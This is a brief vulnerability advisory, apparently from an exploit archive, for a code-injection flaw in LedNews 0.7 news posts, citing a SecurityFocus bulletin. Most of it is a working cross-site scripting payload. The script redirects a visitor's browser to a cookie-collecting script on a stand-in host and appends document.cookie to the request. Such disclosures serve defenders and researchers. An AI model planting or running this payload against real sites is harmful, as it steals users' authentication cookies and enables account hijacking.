LedNews 0.7 Post Script - Code Injection

                							

                source: http://www.securityfocus.com/bid/7920/info

It has been reported that LedNews does not properly filter input from news posts. Because of this, it may be possible for an attacker to steal authentication cookies or perform other nefarious activities. 

<script>
document.location.replace('http://www.example.com/cgi-bin/cookiemonster.cgi?'+document.cookie);
</script>